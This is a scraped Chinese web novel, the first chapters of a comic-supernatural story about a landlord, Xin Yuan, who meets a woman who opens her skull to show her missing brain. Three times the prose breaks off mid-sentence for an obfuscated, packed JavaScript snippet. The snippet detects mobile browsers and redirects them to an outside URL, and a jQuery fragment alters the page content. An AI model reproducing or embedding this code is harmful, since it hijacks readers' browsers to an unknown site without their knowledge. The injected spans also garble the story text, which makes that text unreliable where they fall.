《平平无奇一空腔》 1. 01 ☆、初见 那一天,在拐进那条他再熟悉不过的小路之前,辛远都觉得这是再平常不过的一天。 白天打打游戏、在群里吹吹牛。 晚上跟几个狐朋狗友约着在附近吃了一顿火锅。 吃完后,独自一人顺着他闭着眼睛都不会走错的路,在依旧热闹的街道气氛中,慢悠悠散步回家。 然后,一个拐弯,进入直通他家小区大门的那条小路。 刚在小路上走了几米,辛远突然注意到在距离自家小区大门不到两百米的一盏路灯下,有一个人在飘。 那人背对着他,有着及腰的乌黑长发,穿着长至脚踝的白色长款连衣裙。 在略显昏黄、还时不时会闪一闪的路灯下,在微微的夜风中,此人的长发长裙都飘动着,垂在身侧的双手及小臂显露出没有血色的苍白。 关键是,此人的双脚明明没有迈步的动作,整个人却正在往前移动,甚至那双脚好像并没有碰着地面,怎么看都只能称之为飘…… 辛远本来因为吃饱喝足尤其还喝了些啤酒而略有点发昏的脑袋突然清醒了,有些迷蒙的视线也完全清明。 他扫了眼旁边“热烈庆贺……”的大红横幅,强行让自己镇定下来。 然后壮着胆子仔细一看,终于发现此人会飘是因为踩着平衡车。 因为那平衡车通体黑色,于是在这破光线下跟隐形了似的。 辛远长舒一口气,再次坚定了自身唯物的、科学的、万事万物都是可解释的世界观。 他那颗因受惊而跳快了点的心脏也很快跳回到正常速率。 同时辛远想着,要不干脆自己掏钱请人把这破路灯修一修算了,每次报给社区拖延三五个月都算短的。 踩着平衡车的那位好像听见了身后的动静。 她停止前飘,回头,正好与辛远对上视线。 辛远看着她那张比起她手来有点血色、但不多的脸,礼貌性地点了下头。 顺便疑惑这人前进的方向似乎是自己所住的小区,但自己好像没见过这人。 这条小路上一共分布着四个小区,都是规模偏小的老小区。 其中两个小区的房龄是二十多年,另两个是十多年。 辛远就住在房龄二十多年的一个小区里,该小区的正门位于这条小路的尽头。 辛远那小区总共只有两百多户人,其中还有二十来户是辛远的租户。 辛远住在这里十几年,对同小区的人不能说全知道名字,但寒暄几句的交情还是有的。 包括周围另外三个小区的老住户,辛远也多多少少混了个脸熟。 甚至对不少住户的亲友情况辛远也略知一二。 要不是他懒,辛远距离进入社区居委会就只差一个报名。 踩平衡车的这人当前所在的位置已经走过了最靠外的那个小区的大门,而如果她的目的地是另两个小区,她现在的移动方向就应该是靠左,或者有向左转的趋势。 而她实际上是笔直前行,那就大概率是前往辛远小区。 不过这些疑惑只是在辛远脑中短暂出现,考虑到探亲访友等情况,辛远也并不太在意在家门口看到个陌生人。 只要确定了这是个人,而不是只鬼,辛远自觉他一个大老爷们肯定不可能怕个弱柳扶风的年轻姑娘。 没错,不知道是不是因为长发长裙以及光线的衬托效果,总之在辛远看来,踩平衡车的这位相当柔弱。 即使不说骨瘦如柴,也多少有点营养不良的调调。 而且皮肤有着常年缺乏日照的苍白。 简单来说,这位很可能不爱运动又经常不好好吃饭。 这在年轻女性中倒也常见,不值得分毫惊讶。 在辛远进行人鬼分辨之时,踩平衡车的这人,即岳矢,也对辛远进行着分辨。 不过,辛远的分辨主要是靠眼睛,而岳矢的分辨主要是靠鼻子。 岳矢从辛远身上闻到了她所熟悉的气味,那属于她近期正在寻找之物。 确定自己没闻错后,岳矢脚下一动,飘到了辛远面前。 哪怕已经知道这是平衡车的功效,但面对快速靠近、几乎像是飞过来的长发白裙苍白肤色女人,辛远还是被吓出了心惊肉跳。 就差转身逃跑求救了。 幸好反应过来在内心极速刷屏“这是人这是人这是人……”,辛远才生生止住了逃跑的步伐。 从这条小路左拐出去两百米,也就是辛远刚刚走回来时路过的地方,有一个派出所,非常方便求救。 在内心刷屏把自己安抚好了后,辛远定了定神,为自己一两分钟内被同一个人吓了两次感到丢脸,找补地挤出笑容,问: “有什么事吗? “是要找谁? “附近的人我大多都认识,可以帮你找。” 岳矢从平衡车上下来,脚踩实地,这让辛远更坚定了她的人类身份,也更放松了些。 但紧接着,辛远听见她问: “你刚刚是不是遇见过一个脑子?” 辛远: “……什么?” 岳矢抬起右手,指尖点点自己的太阳穴,进一步解释: “我的脑子。 “你刚刚应该见过它。 “我闻到你身上有它的气味。” 辛远: “……” 辛远实在没撑住,退了一步。 同时心里想:我好不容易说服自己相信了这是个人,怎么现在又有了这人是个精神病的风险? 岳矢: “嗯……好像我们有一点沟通障碍。 “我所表达的,与你所理解的,似乎出现了偏差。” 辛远止住又要逃跑的脚步,连连点头: “对,应该是有那么一点偏差。” 岳矢: “那就加上实物展示吧。” 说着,她左手抬起,放到自己的头顶,摸了摸,好像找到了一个合适的位置。 接着她手指曲起,抓住那个位置的头发。 正当辛远疑惑她在干什么、抓头发能展示什么实物时,只见她左手一扯,一把头发以及一个和头发连接在一起的硬物被扯离了她的头顶。 辛远顿了好几秒才反应过来,那随着头发一起被从她脑袋上扯开的硬物,好像是…… 头盖骨。 因为此刻,辛远看到,她的头顶平平地开了一个大口子。 岳矢微微低头,给辛远看她开了口的脑袋,并说: “看,这里面本来装着大脑的位置现在是空的。 “我的脑子离家出走了,我正在找它。 “我闻到你身上有它的气味。 “你与它分开应该还不到一个小时。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171286|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “能告诉我你是在哪里见到它的吗?” 辛远本就比岳矢高半个头,在岳矢低下头后,更是将她那空荡荡的颅腔看得一清二楚。 辛远缓慢地、艰难地终于理解了眼前发生的事情。 然后,辛远发出了撕心裂肺的惨叫。 不到一分钟,围过来了不少人。 辛远所住的这个小区不在最繁华的市中心,但也是一块人口相当密集的区域。 其一公里内有幼儿园九所、小学五所,一公里到三公里之间有中学六所、大学三所。 其中两所中学为省重点,一所大学在全国部分排名中能到前十。 此外,还有公园、大型商场、博物馆、体育馆、图书馆、医院等若干。 所以,在此刻这晚上九点多临近十点的时间,街上依然相当热闹。 辛远小区前的这条小路因为主要只有四个小区的居民在走,而且上了年纪的住户较多,所以这个时间点会相对显得清静一些,偶尔会出现只一两人走动的场面。 可只要走出这条小路,旁边的火锅店、服装店、烧烤店、网咖等都热热闹闹。 再往前走一段更是本市的主干道之一,即使大半夜车辆也川流不息。 所以辛远那一嚎,周围听见的人保守估计千八百。 第一时间有闲情过来看热闹,以及有责任心过来查看情况的,少说得有几十位。 但当这些人赶到事发地点时,他们看到的只是一个瑟瑟发抖靠在墙上好像站不太稳的男青年,以及一个长发长裙面带诧异看着男青年的女青年。 众人茫然:什么情况? 首先,那一嗓子肯定出自男性。 于是,这里有什么能把一个大小伙子吓得发出如此惨叫吗? 总不能是这个柔柔弱弱的女青年吧? 反过来女青年被吓到还比较可信一些。 有附近住户认出了辛远,走到他旁边问发生了什么。 辛远颤抖地指向岳矢: “她,她,她……” 好半晌也没她出个所以然来。 两个民警左看看右看看,走向看起来似乎知道情况且更有交流能力的岳矢,问: “你知道发生了什么吗?” 岳矢轻轻踢了踢脚边的平衡车,脸上露出九分无辜和一分歉疚地说: “可能是我吓着他了。 “我刚刚踩着平衡车在他眼前…… “嗯……从他的视角看,应该叫‘飘过’吧。” 众人这才仔细打量起岳矢的衣着打扮以及那黑不溜秋的平衡车,然后不少人觉得自己悟了: “呃,这大晚上的,好像是有点吓人哈。” “尤其昨天七月半刚过。” “但凡她不是穿一身白,或者裙子能短点,再或者头发别披散着,都没那么灵异。” “其实她这裙子也不算长得离谱啦,她踩在平衡车上时平衡车不会被裙子遮挡住。” “但她的平衡车是纯黑的啊,就这路灯的亮度,在她说之前我是真没发现她脚边还有个平衡车。” “所以那哥们当时看她应该是离地漂移效果。” “且漂移的速度可能还有点快。” “我家的黑猫也是这效果,只要光线稍暗点,我就找不着猫了。尤其我家猫还不喜欢叫。” “行了,知道你家有猫了。” 2. 02 ☆、也许是妖怪 可能是因为周围人多了、吵闹了、阳气旺盛了,辛远总算从惊惧中缓过气来。 他那一度像是停跳又像是快跳出嗓子眼的心脏也再一次恢复正常节奏。 接着,辛远找回组织语言的能力,张开嘴。 又闭上。 因为辛远发现这事很难说。 难道他要告诉大家,这个应该是人的女人在他面前掀开了头盖骨,露出了她空荡荡的、没脑子的颅腔? 一个活生生的、能说话、能走动的人,说她物理意义上没有脑子? 辛远自己都觉得如果他真把这话说出口,他反而比这……不知道是人是鬼是妖的东西更显得不正常。 岳矢看着辛远,对他露出安抚的、和善的微笑。 辛远再一次被吓得心跳不正常。 但围观众人完全体会不到辛远的心情。 与辛远认识的几人有的拍拍辛远的肩膀安慰他说“没事,不用怕”。 有的则问他需不需要扶他回家。 还有的调侃他是不是最近刚好看了有白裙女鬼的恐怖片。 辛远满肚子话不知能怎么说,只鼓足勇气重新盯向岳矢。 尤其盯她的头顶。 刚刚辛远被吓得头脑空白,现在完全想不起来自己惨嚎后,她是如何在众人围过来前把头盖骨完美装回去的。 辛远:时间很仓促,有没有可能她会装偏一点?然后一拨开头发就能看到断口? 见辛远盯着岳矢不放,有人劝道: “人妹子也不是故意的,就别太记仇了吧。” 也有人认为: “即使不是故意的,但惊吓实实在在。” “幸亏这是个身体健康的年轻人,即使被吓到,也能很快恢复。” “要是个心脏有问题的老年人见到白裙女鬼飘过,指不定今晚就要出人命了。” 有人顺势建议: “要不这位美女请这位小哥吃点什么压压惊?” “请几串烧烤吧,烤起来很快,正好这个点也适合吃宵夜。” 岳矢指着不远处的一个小店招牌,问: “那家‘特色脑花’,是专卖脑花的吗?” 附近的熟客回答: “其实那是卖串串的,不过他家的脑花确实很好吃。” “甚至还有邻市的人开车专门来吃他家的脑花。” 岳矢看向辛远: “那我请你吃碗脑花吧。” 辛远深刻怀疑这是威胁。 但周围偏又有人劝他: “大气点。” “多大点事,别斤斤计较。” 也有人语调中透出不怀好意: “你不会真被吓狠了吧?” “年纪轻轻的这胆子可不行呀。” 辛远惊觉,很多人见没啥大事便散了。 包括那两位专门赶过来以防出了伤害事故的民警也开始往派出所方向走。 辛远脑中剧烈斗争了几秒,一狠心,冒着被当精神病、小气鬼的风险,喊道: “我刚刚不是因为看到她踩平衡车吓到的。 “我是因为看到她扯开头盖骨才被吓得惨叫的。” 两位民警停步。 其中年轻些的那个满脸写着匪夷所思地看向辛远: “你说你看到了什么?” 辛远倔强: “她,抓住头发,扯开了她的头盖骨,给我看她的颅腔。 “里面是空的。 “她的大脑不见了。” 包括民警在内的众人: “……” 岳矢抬手,挠了挠自己的头发。 还扯了扯。 头盖骨牢牢地待在她的脑袋上。 纹丝不动。 在岳矢拨动头发时,辛远也没看见头盖骨有安装不到位的地方。 岳矢对辛远、对其他人,露出无辜的微笑。 辛远确信:这丫就是个心机深沉的妖怪! 辛远想着既然已经开口,既然已经被当精神出故障了,他干脆一口气说完: “她还跟我说,她正在找她的脑子。 “她说我身上有她…… “脑子的……气味……” 此时,辛远才终于反应过来这句话的含义。 然后想起来今晚他们一群人吃火锅时,涮了两副脑花,他吃了半副…… 辛远:等等,我该不是真吃了她的脑子吧?于是她从今往后都缠上我了? 霎时,辛远脸色变得惨白。 与岳矢手的肤色相当接近。 说不清楚是因为可能误吃人脑而感到严重恶心,还是因为可能被妖怪缠上而感到严重恐惧。 由于辛远说着说着,越来越小声,透出一股心虚味儿,连神情也像是游移不定,于是周围的人有了新的理解。 比如: “哦,小情侣吵架是吧?” “一个说‘你没脑子,揭开头盖骨只能看到一个空颅腔’。” “另一个说‘你没胆子,我随便扮演一下鬼就能吓哭你’。” “真是天生一对。” “锁死。” “散了吧。让他俩自己闹去。” 那两位民警更是毫不犹豫走回派出所。 情侣纠纷绝对是他们最烦处理的事务之一。 只要能不掺和进去,他们一定敬而远之。 辛远满心惆怅:谁特么跟她是一对?我连她是人是鬼还是妖都不确定。也不知道她叫什么名字。 最大的问题是,辛远忧心自己可能吃了她的脑子。 但辛远仔细想想又觉得不对。 今天火锅涮的脑花明明是猪脑。 人脑的外形、味道,都不是那样的吧。 虽然他没吃过人脑,但猪脑的味道辛远还是熟悉的,今天吃到的明明就是正常的猪脑味儿。 辛远捂住自己的胃,感想很复杂。 在最初的冲击过去之后,对于自己有可能误吃人脑的忧虑已经比较淡了。 毕竟失主还活生生地站在他面前,还能跟他耍心眼。 只要人没死,那即使真误吃了好像也不是完全无法接受。 再说毕竟只是“可能”误吃。 她刚还说过他与它分开了。 如果真吃下肚,那就不存在分开的概念。 ……至少在排泄之前不存在。 总之,她的脑花在火锅店里时有可能是位于他旁边的某桌上,他只是不小心沾了点气味。 不对。 辛远猛然惊觉,自己为什么真在分析她那脑花可能的下落? 现在的重点难道不该是,她究竟是个什么玩意吗? 首先,排除人类。 其次,应该也可以排除鬼。 不仅因为她有脚、能实实在在走在地面上。 也因为刚刚有人好奇想试试她的平衡车,她很大方地让对方试了,还怕对方新手踩在平衡车上站不稳,于是扶着对方的手臂。 她和试平衡车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171287|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人都穿着短袖,扶着时手臂皮肤直接接触,试平衡车的人毫无异样,就说明她的手臂温度、触感都与正常人的没有明显差别。 所以,最有可能的还是妖怪。 不知道是什么妖。 难道是脑妖? 某个实验室里泡在福尔马林中的人脑成妖了吗? 不,也不一定是人脑成妖。 既然都已经是妖了,可以千变万化,那么猪脑妖、鱼脑妖应该都能化出人形吧? 在辛远放飞脑洞之时,岳矢去特色脑花小店买了这家的招牌脑花,用打包盒装好。 脑花的调料放得很足,还配有豆芽等小菜,色泽和香味都很浓郁。 岳矢提着这盒热腾腾的特色脑花走回到辛远面前,在辛远下意识的后退中,说: “道歉礼物,请收下。” 辛远看看特色脑花,再看看岳矢的脸,想想不久前看到的她头盖骨下空荡荡的颅腔,忍不住问: “买这个你不会物伤其类吗?” 岳矢眨眨眼,也低头看了看手中的脑花,再抬头看向辛远,回答: “可我不是猪脑子,这不是我的同类。” 辛远:好的,她不是猪脑妖。 最终,在周围真路过及假装路过的人有意无意的注视下,辛远还是收下了岳矢的赔礼。 辛远:反正这脑花是我亲眼看到她去那家店买的,应该是正常的、可以吃的脑花。 在辛远收下脑花的那一刻,甚至有人鼓起了掌。 辛远:……凡人啊,你们根本不知道自己见证了什么。 岳矢: “我能成为你的云区好友吗?” 云区是全球最大的社交软件,还包含了很多生活工具、娱乐游戏等。 由于云区实行了全面实名,还有大量的数据分享功能,比如对所有好友进行某游戏排名、当日打字排名等,所以互为云区好友后,也可以算是初步走进了对方的生活。 比线下建立的交情可能会虚浮一些,但比纯游戏内的好友又现实一些,关键是互动很可能比线下朋友更频繁。 申请成为某人的云区好友,可以看成是“我能与你发展更多交情吗”的含蓄表达。 不过因为这么说的人太多,所以这份含蓄便也逐渐显得直白轻浮。 再加上很多因工作原因而添加的云区好友,更显得这个“好友”感情不足,应付有余。 辛远思考了两秒,还是决定加这个好友。 在最初惨叫级别的惊恐过去后,辛远觉得这个脑妖好像也没多可怕。 她的长相、打扮、说话语气等,都普普通通。 要不是先用平衡车飘得像鬼,后扯开头盖骨自曝妖怪身份,在路上偶遇辛远觉得自己的视线完全不可能在她身上停留。 ……好吧,也许还是会停留那么几秒的。 撇开吓人滤镜不提,客观地说,这位的长相比“普通级”应该要高一点。 放学校里大小也是个班花。 当然这个不是重点。 辛远只是想加上好友来打听她那丢失的脑子究竟是怎么回事。 还有她到底是不是妖怪。 以及自己生活的这个世界,还科学吗? 是不是即将步入玄学系? 成功加完好友后,岳矢干干脆脆地转头离开,留给辛远消化今晚惊险刺激的独处时间。 这份体贴让辛远对她的惧意又消散了一分。 觉得,虽然双方可能种族不同,但还有交流的余地。 3. 03 ☆、包租公 不过辛远对于岳矢体贴的感动与放心截至他走进自家小区大门之时。 因为这一刻辛远猛然回想起来,那个自称名叫岳矢的脑妖,原本不是正朝着他小区在飘吗? 怎么吓了他一遭后,转头往反方向走了? 那她原本的目标,究竟是他小区,还是…… 他这个人? 想着想着,辛远又开始心惊肉跳背脊生寒,手中提着的特色脑花更是又沉重又烫手。 带着如此忐忑的心情,辛远打开家门,走入家中,然后关上门,并顺便反锁。 将特色脑花放到客厅的饭桌上后,辛远发了会儿呆。 他也不知道自己究竟是在思考今晚已发生的种种,还是在思考自己未来的生存几率。 辛远: “不知道去庙里拜拜有没有用。 “这不是虚无缥缈的鬼,而是有实体、能抓住的妖怪,求助警察说不定也可行? “只要报案时能让警察相信我没疯。 “或者,如果能把这个岳矢送进医院做个脑部检查,就能证明她的异常与我的正常? “但要是她的脑部检查结果和正常人一样,那究竟是能说明她伪装能力强大,还是说明我当真疯了呢?” 辛远开始有些怀疑岳矢扯开头盖骨的那一幕其实真是他的幻觉。 有可能是自己酒量太差,再加上看到岳矢飘场面的惊吓未退,所以产生了这个幻觉? 再或者是今晚吃的火锅里放了违法物质? 以前就有新闻报道过…… 等等,今晚吃的火锅里包含了一盆菌子,据说是从产地现摘空运过来的。 味道相当鲜美,他吃了很多。 辛远: “……难道真是幻觉? “也对,就该是幻觉。 “现实世界怎么可能出现那种不合逻辑的玩意。 “那我因为幻觉而惨叫的时候,岂不是把岳矢吓到了?” 辛远开始愧疚,并为在心里把一个无辜的人称为脑妖而反省。 这时,辛远注意到王阿姨发来的云区消息。 是他吃火锅那会儿就发的,他之前没注意到。 王阿姨与辛远住在同一个小区,她是他们小区负责与社区沟通的人,四舍五入算是小区管理者吧。 不过实际上王阿姨并无实权,她能做的主要仅是将小区居民遇到的问题反应给社区。 反应了之后,王阿姨也只能和其他居民一样等待社区回复。 日常时王阿姨的主要形象就只是个特别热心、消息特别灵通的亲切大婶。 小区里很多年轻人也知道遇到事情了可以找王阿姨说,但对于为什么能找她,其实他们不清楚。 反正大家都找,找了之后多少好像有点用,于是他们就也找了。 而且王阿姨经常坐在小区院子里与其他中老年们唠嗑,进出小区时经常能见到她,顺便就能聊几句,都不用特意线上找。 今天王阿姨找辛远与小区的事情无关,是帮她的一个姓赵的老姐妹传话: “小辛啊,我前天跟你说的要租房的那个姑娘你还记得不? “就是约好这周末过来找你谈合同的那个。 “刚刚老赵给我发消息,说那姑娘今天晚上正好路过我们这边,所以如果你有时间她就准备提前跟你谈。 “不过如果你在外面,也不用特意赶回来。 “她说她就是路过顺便碰碰运气而已,碰不到就还是周末再谈。 “我把她的云区号推给你,你加一下。 “反正如果她真租了你房子,你们也是要互加的。” 辛远点开那个云区号,发现正是岳矢。 辛远: “好的,破案了,她的目标确实是我。 “她大晚上的来附近飘并没有阴谋,就只是要租房而已。 “打工人工作日,确实只有晚上才有空处理自己的私事。” 王阿姨的确前天就跟辛远提过有个人想租他的房子,问是否可以这周末过来看房。 主业就是包租公的辛远自然答应了。 作为一个业务熟练的包租公,听王阿姨说此事时,辛远并没有细问,准备等见到人后再直接与对方详谈。 以前不止一次发生过提前说了有租房意愿、但临到头放辛远鸽子的事情。 所以现在的辛远在实际见到对方之前是不会太上心的。 实际见到对方后,也要等合同敲定了,辛远才会真把此人当自己的租户、记住其重要信息。 不过相对的,很多人在租房之前会尽可能打听清楚房东的情况。 这位岳矢是通过王阿姨老姐妹的关系知道包租公辛远的,所以很可能打听得挺细。 顺便可能还看过辛远的照片。 辛远: “所以她可能在碰面后很快认出了我。 “但在来得及自我介绍之前就吓到了我。 “之后见我一直惊魂未定,可能还有精神不稳定的嫌疑,她就不好甚至不敢提看房的事。 “于是只先加上云区好友,准备换个时间再聊正事。 “或者,如果我一直精神不稳定,就干脆永远都不聊了。 “好的,逻辑完全通顺。 “好像当真是我的锅。” 辛远算是一个富二代。 但比起他的很多富二代朋友来,他又显得不是那么富。 辛远名下最大的资产是他住的这小区里的一栋楼。 为七层,包含两个单元,总共二十八套房子。 这是辛远的爷爷给他的。 现在看来,这已经是老房子,且面积较小,每套房子仅不到六十平方,很多配套设施都缺乏,没电梯、绿化除了杂草就是小区内住户随便种的丝瓜茄子等。 这里小事基本是住户自己商量解决,大事就只能找社区。 物业? 没那玩意,只雇有门卫和保洁。 且其中保洁只管清扫楼外的空地,并不管楼道内的清洁,后者是住户自己需要负责的。 虽然有以上种种显得落后时代的不足,但因为地段还行,所以想卖、想租都很容易。 当然价格肯定不能与同地段的高档小区比。 可也正因为价格相对较低,所以在租房市场尤其受欢迎。 同等价格想租到配套设施优质的房子,基本只能去郊区找。 另外,这里虽然房子较旧,也没有物业处理琐事,但因为老住户多,邻里之间的互帮互助也多。 比如打扫自家门口楼道部分时,顺手把邻居门口的也扫了。 还有附近有什么打折活动,总会有人在小区群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171288|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里吆喝。 再加上半径六百米内有三个派出所,里面的不少民警还就住在附近,所以安全方面基本不需要担心。 总体来说,生活在这里可能显得不怎么高大上,但在居住环境方面也不会有太大的烦恼。 辛远选择的就是在这里当包租公。 他那栋楼除了他自己住的那套外,剩余二十七套常年都至少有二十四五套处于租出去的状态。 之所以间歇性地还能剩两三套空着,主要是因为辛远特别挑租户。 但凡看起来容易惹事的、过分吵闹的、不爱干净的、脾气太差的等,辛远都会拒租。 而且坚持每月签一次续租合同。 只要某户哪个月的表现让辛远觉得不妥,辛远便会停止续约,请其搬走。 辛远表示: “维护居住环境,人人有责。” 正因为辛远的挑剔,所以小区其他人对辛远这个包租公以及他的租户们,感观都不错。 辛远的租户们住在这里虽然觉得房东要求有点多,但不会有被排挤的感觉。 考虑到辛远为了自己的挑剔主动降低了一些房租,于是租户们对房东的事儿多也接受良好,纷纷表示: “这也是在维护我们自己的生活环境。” 辛远每个月房租收入几万元。 不敢与他那些动辄几十万买一个包、几百万买一辆车的富二代朋友们比拼消费,但以辛远自己的生活偏好,已完全够花。 甚至每月还能存下大半。 其实辛远一直不太能理解高档消费。 他觉得几十万的包不如赠品购物袋轻便耐用,几百万的车不如几千块的小电驴方便穿小巷、避开拥堵。 至于几千上万一瓶的什么饮用水,还有几十上百万的什么极品海鲜,辛远吃着也没觉得比奶茶、烤串更有滋味。 是的,那些昂贵的东西辛远都亲身用过、吃过,然后才给出了他自己的主观评价。 评价结果就是,辛远感觉自己果然已经被富二代圈子除名了。 但不知道为什么,一直还有那么一些富二代喜欢找辛远玩。 他们知道辛远不喜欢那些奢华派对、高端品鉴,所以都是在想要去路边摊、农家乐什么的时才找上辛远。 只有当辛远对玩耍项目感兴趣,且感觉邀请他的人顺眼时,辛远才会答应赴约。 之所以辛远会对自己的富二代定位用上“除名”这个形容,是因为他曾经是真正的富二代。 不算辛远的那栋楼的话,这里的“曾经”主要是指从辛远出生到他幼儿园毕业之前。 辛远家属于“富不过三代”的一个案例。 第一代撞了大运,迅速积攒下大量财富。 第二代试图更进一步,但做啥赔啥。 到了第三代,也就是辛远这一代,在赚钱方面并无起死回生之能,自记事起就只看着家里越过越差、越过越差、越过越差…… 好吧,可能辛远家都不够格挤入“富不过三代”群体。 因为准确地说,辛家第二代就能赔光家底了,第三代只是勉强赶上了一点“还有家底”的尾巴。 以辛远来说,但凡他再晚出生两三年,他可能都建立不起“我家阔过”的印象。 白手起家又看着自己亲生的子女迅速败光家产的第一代老爷子晚年满肚子火。 4. 04 ☆、败家子孙们 分遗产时辛老爷子一个子儿都没有留给第二代,全分给了第三代。 临死前老爷子还再三警告第二代不准去跟第三代抢家里仅剩的这点东西、绝对不准去觊觎分毫。 且要求第三代保证只准在第二代连饭都吃不起时别让他们饿死、冻死,一分钱都不准掏给第二代拿去干创业什么的破事。 接着老爷子就撒手再也不管自己的这些糟心儿女。 其实不用老爷子警告,第二代也不好意思与第三代抢。 对于“自家是怎么败落的”他们其实很有自知之明。 以前钱在老爷子手上,他们腆着脸去要也就要了。 求爸爸嘛,不寒碜。 但现在钱到了第三代手上,他们实在没什么脸去求儿女。 毕竟,第二代对第三代也是有愧疚的。 老爷子给了第二代兴旺发展、大步提升的富贵,还给了他们大胆创业的物资条件与精神包容。 ——骂归骂,第二代们每次创业的钱老爷子还是都会给够的。如果老爷子给钱不是那么豪迈,第二代还真未必能把家产败到这个地步。 但第二代却只给了第三代败落。 第二代自知,假如自己什么也不做,只躺着去吃老爷子的老本,第三代起码能再富贵几十年。 就是因为他们自以为是、做得太多,才让第三代的生活跌落到了普通人级别。 唉。 亏欠啊。 辛远知道他爸那一辈第二代对他及堂兄弟姐妹们这些第三代有亏欠心理。 辛远也乐得第二代们因为这份亏欠而几乎不打扰他的生活。 不过辛远必须说,他家的第二代们对“普通人级别的生活”有很明显的误解。 谁家普通人名下有一栋楼? 哪个普通人不用工作、只靠房租就能活得滋润? 而且辛远虽然认为自己已经不够格继续赖在富二代圈子里,但他确信他的部分朋友是真正的富二代。 辛远时不时就能在与那些真富二代交流的过程中获知一些常规渠道很难知晓的信息。 然后据此避开一些坑、赚到一些小利。 辛远的兄弟姐妹中混得较好的多少都是沾了辛家仅剩的那点人脉的光。 在辛家第三代中,辛远的日子过得平平无奇。 辛老爷子一生结过三次婚,共有四个孩子。 其中只有大儿子和二女儿是同一个妈。 这四个孩子总共给他生出了多少孙辈辛老爷子不确定,但他承认的、给分遗产的只有四个婚生子。 辛远是辛老爷子四儿子的儿子,也是第三代婚生子四人组中年龄最小的一个。 辛远选择单纯守着爷爷分给他的遗产吃老本。 辛远的收入不高,花销也不高,就不温不火地过着,存款基本每个月都在涨。 其他三个继承了遗产的哥姐都比辛远过得精彩。 老爷子大儿子的女儿辛逸,在第三代婚生子四人组中年龄最大,属于只管享乐型。 但她爱好享乐的点不在高端奢华上,甚至不在三次元实物上。 她最烧钱的地方可能是在游戏中氪金当土豪玩家听人喊她姐姐。 所以部分卖掉爷爷给的遗产后,辛逸的日子过得颇为滋润。 如果没有大的意外,如果辛逸的爱好不发生大的改变,那么她靠着卖遗产应该能滋润一辈子。 辛逸最大的愿望是死之时刚好把她的钱花完。 最后一笔钱就花在她的火葬费用上。 烧完随便找棵树帮她把骨灰埋在树根位置当肥料就行,她不会留钱买墓的。 辛逸还考虑过死后干脆把遗体捐了去当大体老师,那样连火葬费都省了。 只是她担心以她这不怎么良好的生活习惯,尸体质量可能不太好,去当大体老师她有点惭愧。 老爷子三女儿的女儿辛迭,在四人组中年龄排第二,属于正经找工作上班型。 她的月收入能达到六位数。 只是,她的月花销也差不多在六位数。 所以辛迭每个月基本攒不下钱,偶尔还会踩在卖遗产的边缘。 老爷子二女儿的儿子辛遇,虽然出生日期只比辛迭晚一个月,但年龄还是在四人组中排到了第三,他属于不死心走第二代老路型。 即走“创业、赔钱”循环路线。 眼瞅着已经快把老爷子给他的遗产败光了。 没错,这第三代继承遗产四人组全部姓辛。 虽然他们中有人是老爷子的外孙、外孙女,按世俗惯例其实不会姓辛,但为了遗产,他们的父母全都没考虑让他们姓其他的。 老爷子早就对第二代败家子们透露了他的遗产要越过他们给孙辈的事,并强调了只给婚生子,所以四人都特意让他们的婚生子姓辛。 虽然老爷子已经说了他并不在意区区一个姓,他看的只是血缘与法律,但四个败家子还是觉得,他们气了老爷子这么多年,最后的遗产问题总得表现出点仪式感,以体现他们端正的态度。 辛老爷子: “……” 辛家第二代们虽然在能力方面让老爷子从暴跳如雷一路发展到心如止水,不过态度方面确实还行。 比如他们会坚守老爷子的遗愿,对走他们老路的辛遇强调: “你自己那部分钱你自己败光就败光了,我们也没资格说你。 “但你可不能打你兄弟姐妹财产的主意。” “我们会盯着他们最多只在你吃不起饭时保证你不饿死。 “其他你只能靠自己。” “家里给你的支援就只有这么多,你不能更贪心。” “贪心也没用。” “你那两个姐姐、一个弟弟,野心虽然不如你,但护食都是一等一的。” “他们亲自浪费他们自己的东西他们不会心疼,但你要是想帮他们浪费……” 辛遇恼怒: “我知道! “我的人品、以及对他们的了解,难道还会不如你们? “你们都不会去抢他们的东西,我当然更不会。” 第二代们惆怅: “那不一样。” “我们不抢,是因为你们是我们的晚辈。” “你看我们同辈之间就会抢。” 辛遇: “那看来我的人品要比你们高一档。” 第二代们: “其实我们辛家人的人品都还行。” “哪怕同辈之间互抢时,也没闹出不可修复的矛盾。” “老爷子说遗产丁点儿都不分给我们时,我们也二话不说就认了,丝毫没闹。” “连我们那些分不到钱的私生子女们,也都老老实实,没去打 